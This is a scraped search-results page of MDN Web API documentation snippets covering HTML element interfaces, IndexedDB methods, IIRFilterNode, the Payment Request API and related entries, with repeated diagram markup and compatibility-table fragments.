...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTableSectionElement - Web APIs
t and presentation of sections, that is headers, footers and bodies, in an HTML table. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTemplateElement - Web APIs
emplateElement interface enables access to the contents of an HTML <template> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTextAreaElement - Web APIs
rties and methods for manipulating the layout and presentation of <textarea> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTimeElement - Web APIs
nterface it also has available to it by inheritance) for manipulating <time> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTitleElement - Web APIs
This element inherits all of the properties and methods of the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLUListElement - Web APIs
it also has available to it by inheritance) for manipulating unordered list elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLUnknownElement - Web APIs
HTMLElement interface, but without implementing any additional properties or methods. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
IDBCursor.key - Web APIs
Syntax var key = cursor.key; Value A value of any type. Example In this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. ...
... Indexed Database API DraftThe definition of 'key' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ll request. ...
...And 2 more matches
IDBDatabase.createObjectStore() - Web APIs
e name of the store as well as a parameter object that lets you define important optional properties. You can use the property to uniquely identify individual objects in the store. As the property is an identifier, it should be unique to every object, and every object should have that property. This method can be called only within a versionchange transaction. Note: This feature is available in
Web Workers. Syntax IDBDatabase.createObjectStore(name); IDBDatabase.createObjectStore(name, options); Parameters name The name of the new object store to be created. Note that it is possible to create an object store with an empty name. optionalParameters Optional An options object whose attributes are optional parameters to the method. It includes the following properties: ...
... If true, the object store has a key generator. Defaults to false. Unknown parameters are ignored. Returns A new IDBObjectStore. Exceptions This method may raise a DOMException with a DOMError of one of the following types: Exception Description InvalidStateError Occurs if the method was not called from a versionchange transaction callback. For older
WebKit browsers, you must call first. TransactionInactiveError Occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) In Firefox previous to version 41, an InvalidStateError was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) ConstraintError An object store with the given name (base...
...abase API DraftThe definition of 'createObjectStore()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
IDBDatabaseException - Web APIs
atabase with a version lower than the one it already has. This can only happen with IDBOpenDBRequest. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
...n-standardChrome Full support 12Prefixed Full support 12Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support <=79Prefixed Full support <=79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox No support 4 -- 14IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox ...
...And 2 more matches
IDBFactory.cmp() - Web APIs
Note: Do not use this method for comparing arbitrary JavaScript values, because many JavaScript values are either not valid IndexedDB keys (booleans and objects, for example) or are treated as equivalent IndexedDB keys (for example, since IndexedDB ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent). ...
... Indexed Database API DraftThe definition of 'cmp()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ll request. ...
...And 2 more matches
IDBFactory.deleteDatabase() - Web APIs
ss event is fired on the request object returned from this method, with its result set to undefined. If an error occurs while the database is being deleted, then an error event is fired on the request object that is returned from this method. When deleteDatabase() is called, any other open connections to this particular database will get a versionchange event. Note: This feature is available in
Web Workers. Syntax For the current standard: var request = indexedDB.deleteDatabase(name); For the experimental version with options (see below): var request = indexedDB.deleteDatabase(name, options); Parameters name The name of the database you want to delete. Note that attempting to delete a database that doesn't exist does not throw an exception, in contrast to IDBDatabase.deleteObjectS...
...The definition of 'deleteDatabase()' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetdeleteDatabaseChrome Full support 24 Full support 24 No support 23 -- 24Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
...And 2 more matches
IDBIndex.count() - Web APIs
Syntax var request = myIndex.count(); var request = myIndex.count(key); Parameters key Optional The key or key range that identifies the record to be counted. Return value A IDBRequest object on which subsequent events related to this operation are fired. ...
... Indexed Database API DraftThe definition of 'count()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
...And 2 more matches
IDBIndex.get() - Web APIs
n IDBRequest object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if key is set to an IDBKeyRange. If a value is found, then a structured clone of it is created and set as the result of the request object: this returns the record the key is associated with. Note: This feature is available in
Web Workers. Syntax var request = myIndex.get(key); Parameters key Optional A key or IDBKeyRange that identifies the record to be retrieved. If this value is null or missing, the browser will use an unbound key range. Return value An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following typ...
... Indexed Database API 2.0The definition of 'get()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ll request. ...
...And 2 more matches
IDBIndex.getKey() - Web APIs
x interface returns an IDBRequest object, and, in a separate thread, finds either the primary key that corresponds to the given key in this index or the first corresponding primary key, if key is set to an IDBKeyRange. If a primary key is found, it is set as the result of the request object. Note that this doesn't return the whole record as IDBIndex.get does. Note: This feature is available in
Web Workers. Syntax var request = myIndex.getKey(key); Parameters key Optional A key or IDBKeyRange that identifies a record to be retrieved. If this value is null or missing, the browser will use an unbound key range. Return value An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following ty...
... Indexed Database API DraftThe definition of 'getKey()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
...And 2 more matches
IDBIndex.keyPath - Web APIs
Syntax var myKeyPath = myIndex.keyPath; Value Any data type that can be used as a key path. Example In the following example we open a transaction and an object store, then get the index lName from a simple contacts database. ...
... Indexed Database API DraftThe definition of 'keyPath' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...equest. ...
...And 2 more matches
IDBIndex.multiEntry - Web APIs
iEntry read-only property of the IDBIndex interface returns a boolean value that affects how the index behaves when the result of evaluating the index's key path yields an array. This is decided when the index is created, using the IDBObjectStore.createIndex method. This method takes an optional options parameter whose multiEntry property is set to true/false. Note: This feature is available in
Web Workers. Syntax var isMultiEntry = myIndex.multiEntry; Value A Boolean: Value Effect true There is one record in the index for each item in an array of keys. false There is one record for each key that is an array. Example In the following example we open a transaction and an object store, then get the index lName from a simple contacts database. ...
...dexed Database API DraftThe definition of 'multiEntry' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
...And 2 more matches
IDBIndex.objectStore - Web APIs
Syntax var myIDBObjectStore = myIndex.objectStore; Value An IDBObjectStore. Example In the following example we open a transaction and an object store, then get the index lName from a simple contacts database. We then open a basic cursor on the index using IDBIndex.openCursor. This works the same as opening a cursor directly on an ObjectStore using IDBObjectStore.openCursor except that the returned records are sorted based on the index, not the primary key. ...
...exed Database API DraftThe definition of 'objectStore' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
...And 2 more matches
IDBIndex.openCursor() - Web APIs
ent is always fired on the result object. If at least one record matches the key range, then the result property of the event is set to the new IDBCursorWithValue object; the value of the cursor object is set to a structured clone of the referenced value. If no records match the key range then then the result property of the event is set to null. Note: This feature is available in
Web Workers. Syntax var request = myIndex.openCursor(); var request = myIndex.openCursor(range); var request = myIndex.openCursor(range, direction); Parameters range Optional A key or IDBKeyRange to use as the cursor's range. If nothing is passed, this will default to a key range that selects all the records in this object store. direction Optional The cursor's direction. See IDBCursor Const...
...exed Database API DraftThe definition of 'openCursor()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
...And 2 more matches
IDBIndex.openKeyCursor() - Web APIs
the primaryKey property is set to the the corresponding primary key of the found record. If no keys match the key range, then then the result property of the event is set to null. Note: Cursors returned by openKeyCursor() do not make the referenced value available as IDBIndex.openCursor does. This makes obtaining a list of keys much more efficient. Note: This feature is available in
Web Workers. Syntax var request = myIndex.openKeyCursor(); var request = myIndex.openKeyCursor(range); var request = myIndex.openKeyCursor(range, direction); Parameters range Optional A key or IDBKeyRange to use as the cursor's range. If nothing is passed, this will default to a key range that selects all the records in this object store. direction Optional The cursor's direction. See IDBCur...
...d Database API DraftThe definition of 'openKeyCursor()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
.... ...
...And 2 more matches
IDBIndex.unique - Web APIs
The unique read-only property returns a boolean that states whether the index allows duplicate keys. This is decided when the index is created, using the IDBObjectStore.createIndex method. This method takes an optional parameter, unique, which if set to true means that the index will not be able to accept duplicate entries. Note: This feature is available in
Web Workers. Syntax var isUnique = IDBIndex.unique; Value A Boolean: Value Effect true The current index does not allow duplicate values for a key. false The current index allows duplicate key values. Example In the following example we open a transaction and an object store, then get the index lName from a simple contacts database. We then open a basic cursor on the index using I...
... Indexed Database API DraftThe definition of 'unique' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
...And 2 more matches
IDBVersionChangeRequest.setVersion() - Web APIs
Warning: The latest draft of the specification has dropped this method. Some not up-to-date browsers still implement this method. ...
...re in the database. Returns IDBVersionChangeRequest The request to change the version of a database. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...atedNon-standardChrome No support NoEdge No support NoFirefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
...And 2 more matches
IIRFilterNode() - Web APIs
The filter needs these values to work and with the vast range of filters available, there is no default. ...
...nts a general infinite impulse response filter. Syntax var iIRFilterNode = new IIRFilterNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Options are as follows: feedforward: A sequence of feedforward coefficients. feedback: A sequence of feedback coefficients. Unlike other nodes in the
Web Audio API, the options passed into the IIR filter upon creation are not optional. The filter needs these values to work and with the vast range of filters available, there is no default. Return value A new IIRFilterNode object instance. Examples let feedForward = [0.00020298, 0.0004059599, 0.00020298]; let feedBackward = [1.0126964558, -1.9991880801, 0.9873035442]; const AudioContext = windo...
...assed into the IIR filter upon creation are not optional. The filter needs these values to work and with the vast range of filters available, there is no default. Return value A new IIRFilterNode object instance. Examples let feedForward = [0.00020298, 0.0004059599, 0.00020298]; let feedBackward = [1.0126964558, -1.9991880801, 0.9873035442]; const AudioContext = window.AudioContext || window.
webkitAudioContext; const audioCtx = new AudioContext(); const iirFilter = new IIRFilterNode(audioCtx, { feedforward: feedForward, feedback: feedBackward }); Specifications Specification Status Comment
Web Audio APIThe definition of 'IIRFilterNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this...
...And 2 more matches
MediaRecorder.isTypeSupported - Web APIs
arameters mimeType The MIME media type to check. Return value true if the MediaRecorder implementation is capable of recording Blob objects for the specified MIME type. Recording may still fail if there are insufficient resources to support the recording and encoding process. If the value is false, the user agent is incapable of recording the specified format. ...
...MIME media type to check. Return value true if the MediaRecorder implementation is capable of recording Blob objects for the specified MIME type. Recording may still fail if there are insufficient resources to support the recording and encoding process. If the value is false, the user agent is incapable of recording the specified format. ...
... Return value true if the MediaRecorder implementation is capable of recording Blob objects for the specified MIME type. Recording may still fail if there are insufficient resources to support the recording and encoding process. If the value is false, the user agent is incapable of recording the specified format. ...
...And 2 more matches
Capabilities, constraints, and settings - Web APIs
Figuring this out has often been difficult, and has usually involved looking at some combination of which user agent (or browser) you're running on, which version it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth. The result has been a lot of very fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf. ...
...ing to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth. The result has been a lot of very fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf. The twin concepts of constraints and capabilities let the browser and
Web site or app exchange information about what constrainable properties the browser's implementation supports and what values it supports for each one. This article discusses capabilities and constraints, as well as media settings, and includes an example we call the Constraint Exerciser. The Constraint Exerciser lets you experiment with the results of different constraint sets being applied to the ...
...'s implementation supports and what values it supports for each one. This article discusses capabilities and constraints, as well as media settings, and includes an example we call the Constraint Exerciser. The Constraint Exerciser lets you experiment with the results of different constraint sets being applied to the audio and video tracks coming from the computer's A/V input devices (such as its
webcam and microphone). Overview The process works like this (using MediaStreamTrack as an example): If needed, call MediaDevices.getSupportedConstraints() to get the list of supported constraints, which tells you what constrainable properties the browser knows about. This isn't always necessary, since any that aren't known will simply be ignored when you specify them--but if you have any that y...
...And 2 more matches
NotificationEvent - Web APIs
ote: This interface is specified in the Notifications API, but accessed through ServiceWorkerGlobalScope. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... <=18Firefox Full support 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE ? Opera Full support 37Safari ?
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 44Opera Android Full support 37Safari iOS ? Samsung Internet Android Full support ...
... <=18Firefox Full support 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE ? Opera Full support 37Safari ?
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 44Opera Android Full support 37Safari iOS ? Samsung Internet Android Full support ...
...And 2 more matches
Payment Request API - Web APIs
ith checkout forms. It aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a HTML form. Advantages of using the Payment Request API with "basic-card" (card-based payments): Fast purchase experience: Users enter their details once into the browser and are then ready to pay for goods and services on the
web. They no longer have to fill out the same details repeatedly across different sites. Consistent experience on every site (that supports the API): As the payment sheet is controlled by the browser, it can tailor the experience to the user. This can include localizing the UI into the user's preferred language. Accessibility: As the browser controls the input elements of the payment sheet, it can ...
... different sites. Consistent experience on every site (that supports the API): As the payment sheet is controlled by the browser, it can tailor the experience to the user. This can include localizing the UI into the user's preferred language. Accessibility: As the browser controls the input elements of the payment sheet, it can assure consistent keyboard and screen reader accessibility on every
website without developers needing to do anything. A browser could also adjust the font size or color contrast of the payment sheet, making it more comfortable for the user to make a payment. Credentials management: Users can manage their credit cards and shipping addresses directly in the browser. A browser can also sync these "credentials" across devices, making it easy for users to jump from desk...
...Consistent error handling: The browser can check the validity of card numbers, and can tell the user if a card has expired (or is about to expire). The browser can automatically suggest which card to use based on past usage patterns or restrictions from the merchant (e.g, "we only accept Visa or Mastercard"), or allow the user to say which is their default/favorite card. To request a payment, a
web page creates a PaymentRequest object in response to a user action that initiates a payment, such as clicking a "Purchase" button. The PaymentRequest allows the
web page to exchange information with the user agent while the user provides input to complete the transaction. You can find a complete guide in Using the Payment Request API. Note: The API is available inside cross-origin <iframe> elem...
...And 2 more matches
PerformanceLongTaskTiming - Web APIs
ng interface of the the Long Tasks API reports instances of long tasks. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PerformanceLongTaskTiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceLongTaskTiming</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all...
...inition of 'PerformanceLongTaskTiming' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
RTCPeerConnection.createOffer() - Web APIs
The createOffer() method of the RTCPeerConnection interface initiates the creation of an SDP offer for the purpose of starting a new
WebRTC connection to a remote peer. The SDP offer includes information about any MediaStreamTracks already attached to the
